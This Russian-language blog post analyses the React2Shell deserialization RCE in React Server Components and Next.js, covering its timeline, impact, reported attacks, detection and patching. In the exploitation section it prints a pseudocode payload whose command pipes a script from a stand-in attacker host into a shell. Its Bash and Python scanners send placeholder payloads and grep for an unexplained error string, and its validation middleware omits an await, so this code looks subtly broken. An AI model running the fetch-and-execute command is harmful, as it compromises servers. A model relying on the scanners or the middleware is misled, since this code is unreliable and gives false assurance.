
React2Shell: Критическая RCE в React и Next.js
# React2Shell (CVE-2025-55182): подробный разбор критической уязвимости React
*Автор: Локлан Дэвидсон*
*Последнее обновление: 4 декабря 2025 г.*
---
## Содержание
1. [Введение](#introduction)
2. [Предыстория и хронология](#background-and-timeline)
3. [Что такое React2Shell](#understanding-react2shell)
- [Определение](#what-is-react2shell)
- [Технический обзор уязвимости](#technical-overview-of-the-vulnerability)
4. [Воздействие на экосистемы React и Next.js](#the-impact-on-react-and-nextjs-ecosystems)
5. [Небезопасная десериализация и протокол Flight](#insecure-deserialization-and-the-flight-protocol)
6. [Эксплуатация в реальных условиях и примеры атак](#real-world-exploitation-and-case-studies)
7. [Методы обнаружения и смягчения](#detection-and-mitigation-techniques)
- [Сканирование с Bash и cURL](#scanning-with-bash-and-curl)
- [Разбор данных об уязвимостях на Python](#parsing-vulnerability-data-with-python)
- [Рекомендации по эффективному мониторингу](#tips-for-effective-monitoring)
8. [Продвинутые техники эксплуатации и анализ после взлома](#advanced-exploitation-techniques)
9. [Ложные срабатывания: чему не стоит доверять](#addressing-false-positives)
10. [Лучшие практики патч-менеджмента и харденинга](#best-practices-for-patching-and-hardening)
11. [Заключение](#conclusion)
12. [Ссылки](#references)
---
## Введение
За последние несколько лет популярность React и связанных с ним фреймворков стремительно выросла: они используются как в небольших веб-проектах, так и в корпоративных приложениях. Вместе с ростом популярности увеличивается и число уязвимостей, особенно тех, что затрагивают критические компоненты экосистемы.
29 ноября 2025 г. я, Локлан Дэвидсон, ответственно раскрыл команде Meta разрушительную уязвимость — React2Shell (CVE-2025-55182). Ошибка, затрагивающая серверные реализации React, в частности протокол “Flight” React Server Components (RSC), была исправлена командами React и Vercel 3 декабря 2025 г. В этом посте представлен углублённый анализ уязвимости — от технических деталей до практических примеров эксплуатации, а также рекомендации по обнаружению и защите.
Мы рассмотрим:
- природу уязвимости и её серьёзное влияние на экосистему;
- технические причины возникновения ошибки;
- реальные сценарии эксплуатации и поведения злоумышленников после взлома;
- примеры кода и команды для сканирования, помогающие обнаружить уязвимые инстансы;
- лучшие практики по патчам и харденингу окружений.
Этот материал будет полезен специалистам по безопасности, разработчикам и энтузиастам современных веб-технологий — от базовых понятий до продвинутых техник эксплуатации и проактивной защиты.
---
## Предыстория и хронология
Понимание временной шкалы важно для оценки управления рисками и скорости реагирования:
- **29 ноября 2025 г. (PT):** уязвимость ответственно раскрыта мной команде Meta.
- **3 декабря 2025 г. (PT):** React и Vercel публикуют первичные уведомления и патчи.
- **4 декабря 2025 г.:** в сети появляются публичные PoC-эксплойты; однако часть из них не отражала реальную природу ошибки.
- **После релиза патчей:** исследователи Wiz Research, Amazon Threat Intelligence, Datadog и др. фиксируют атаки на публичные инстансы Next.js и облачные развёртывания.
Для Next.js был выделен дополнительный идентификатор — CVE-2025-66478. Хотя технически он дублирует CVE-2025-55182, это помогает инструментам отслеживания зависимостей не пропустить уязвимый «вендоренный» React.
---
## Что такое React2Shell
### Определение
React2Shell — критическая уязвимость (CVE-2025-55182) в среде React Server Components, затрагивающая протокол Flight. Ошибка позволяет выполнить удалённый код (RCE) без аутентификации из-за небезопасной десериализации в пакете `react-server`.
Ключевые характеристики:
- **Критический уровень (10.0).**
- **RCE без аутентификации:** достаточно единственного HTTP-запроса с подготовленным payload’ом.
- **Уязвимость “из коробки”:** стандартные проекты Next.js (`create-next-app`) уязвимы без дополнительного харденинга.
### Технический обзор уязвимости
Корень проблемы — обработка RSC-payload’ов на сервере. Логика десериализации не проверяет структуру входящих данных. Злоумышленник отправляет специально сформированный payload, который после десериализации приводит к выполнению произвольного кода.
Упрощённая схема:
1. Создание вредоносного payload’а.
2. Отправка HTTP-запроса на уязвимый сервер.
3. Десериализация без валидации → выполнение кода.
4. Получение shell-доступа к серверу.
---
## Воздействие на экосистемы React и Next.js
### Почему это так опасно?
1. **Широкое распространение:** React / Next.js — одни из самых популярных фреймворков.
2. **Простота эксплуатации:** достаточно автоматизированного запроса.
3. **Высокая надёжность атаки:** при дефолтных настройках близка к 100 %.
4. **Публичная доступность:** 39 % облачных окружений содержали уязвимые инстансы, многие из которых публичны.
### Особенность Next.js
React поставляется внутри Next.js «вендоренно», поэтому классические сканеры зависимостей могут не увидеть уязвимость. Для этого выделен CVE-2025-66478 — формально дубликат, но позволяющий командам безопасности отследить риск.
---
## Небезопасная десериализация и протокол Flight
### Что такое небезопасная десериализация?
Это процесс, когда данные из сериализованного формата преобразуются в объекты без достаточной проверки, что позволяет исполнить злоумышленный код.
### Протокол Flight
Flight оптимизирует обмен данными между сервером и клиентом для RSC. Недостаточная валидация в `react-server` привела к вектору атаки:
1. Приходит Flight-запрос.
2. Сервер десериализует payload.
3. Если он подменён, выполняются произвольные инструкции.
---
## Эксплуатация в реальных условиях и примеры атак
### Наблюдавшиеся кампании
- **Кража учётных данных облака.**
- **Криптомайнинг (XMRig).**
- **Разведка и закрепление в сети.**
### Кейc: Next.js на Kubernetes
Атакующий отправил Flight-payload → получил reverse-shell → доступ к секретам K8s → повышенные привилегии на узле.
### Кейc: Атаки в облаке
По данным Wiz Research:
- 39 % сред имели уязвимые React/Next.js-инстансы.
- Злоумышленники эксфильтрировали AWS-креды, кодируя их в Base64.
---
## Методы обнаружения и смягчения
### Сканирование с Bash и cURL
```bash
#!/bin/bash
# Простейший сканер React2Shell (CVE-2025-55182)
TARGET="<target_url>"
PAYLOAD='{"malicious":"payload"}'
echo "Сканирую $TARGET ..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")
if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
echo "Возможна уязвимость на $TARGET"
else
echo "Явных признаков уязвимости нет; требуется дополнительный анализ."
fi
Разбор на Python
import requests, json
def scan_target(url):
payload = {"test": "data", "action": "simulate_deserialization"}
headers = {"Content-Type": "application/json"}
print(f"Сканирую {url} ...")
try:
r = requests.post(url, headers=headers, data=json.dumps(payload), timeout=5)
if "Error processing Flight payload" in r.text:
print(f"[!] Возможна уязвимость на {url}")
else:
print(f"[-] Признаков уязвимости не обнаружено на {url}")
except requests.RequestException as e:
print(f"Ошибка при сканировании {url}: {e}")
if __name__ == "__main__":
for t in ["https://example.com/api/flight",
"https://another-example.com/api/flight"]:
scan_target(t)
Советы по мониторингу
- Защита на уровне рантайма.
- Анализ логов HTTP / Flight-endpoint.
- Интеграция сканеров уязвимостей с дашбордами.
Продвинутые техники эксплуатации и анализ после взлома
Разработка эксплойта
- Формирование payload’а, обходящего базовые проверки.
- Обход WAF/рантайм-защит.
- Цепочки с другими уязвимостями.
// Псевдокод вредоносного payload'а
const maliciousPayload = {
component: "ShellExec",
args: {
command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
},
_meta: { timestamp: Date.now(), nonce: Math.random().toString(36).substring(2) }
};
sendToServer(JSON.stringify(maliciousPayload));
Действия злоумышленника после RCE
- Reverse shell.
- Кража переменных окружения и секретов.
- Латеральное перемещение.
- Установка майнеров / RAT.
Ложные срабатывания: чему не стоит доверять
Сканеры могут ошибочно считать наличие функций вроде vm.runInThisContext, child_process.exec, fs.writeFile признаком уязвимости. Реальный эксплойт React2Shell не зависит от явного экспорта этих функций. Проверяйте результаты против официальных рекомендаций и наблюдайте рантайм-поведение.
Лучшие практики патч-менеджмента и харденинга
Немедленные шаги
- Изучить рекомендации React и Next.js.
- Установить версии
react-server-dom*19.0.1 / 19.1.2 / 19.2.1. - Включить/обновить WAF и рантайм-защиту.
- Мониторить логи на предмет аномалий.
- Следить за отчётами Wiz, GreyNoise, Amazon TI и др.
Харденинг для разработчиков
- Валидировать входящие сериализованные данные.
- Ограничить доступность Flight-endpoint’ов.
- Регулярные аудит и сканирование зависимостей.
- Сегментировать окружения.
// Пример middleware для Next.js: доп. валидация
import { NextResponse } from 'next/server';
export function middleware(request) {
if (request.nextUrl.pathname.startsWith('/api/flight')) {
try {
const body = request.json();
if (!body || typeof body !== 'object' || !body.component) {
return new NextResponse('Неверный формат payload', { status: 400 });
}
} catch {
return new NextResponse('Ошибка обработки запроса', { status: 400 });
}
}
return NextResponse.next();
}
Заключение
React2Shell (CVE-2025-55182) — напоминание о том, что даже проверенные фреймворки уязвимы. Ошибка в десериализации протокола Flight даёт RCE без аутентификации и поражает приложения по умолчанию.
Главные выводы:
- Лёгкая эксплуатация и серьёзный риск в облаке.
- Отдельный CVE для Next.js помогает не пропустить уязвимость.
- Уже зафиксированы реальные атаки.
- Ложные срабатывания отвлекают; сверяйтесь с advisories и следите за рантаймом.
- Поддерживайте зависимости и многослойную защиту.
Понимая технические детали React2Shell и ландшафт угроз, вы сможете надёжнее защищать свои приложения.
Ссылки
- Официальный блог React
- Документация Next.js
- CVE: CVE-2025-55182
- Advisory Meta
- Блог Vercel
- Исследования Wiz
- GreyNoise Intelligence
Этот подробный гид должен помочь вам полностью разобраться в React2Shell — от технических тонкостей до практических мер защиты. Оставайтесь в курсе официальных обновлений и постоянно совершенствуйте свою безопасность.
Безопасной разработки!
Поднимите свою карьеру в кибербезопасности на новый уровень
Если вы нашли этот контент ценным, представьте, чего вы могли бы достичь с нашей комплексной 47-недельной элитной обучающей программой. Присоединяйтесь к более чем 1200 студентам, которые изменили свою карьеру с помощью техник Подразделения 8200.
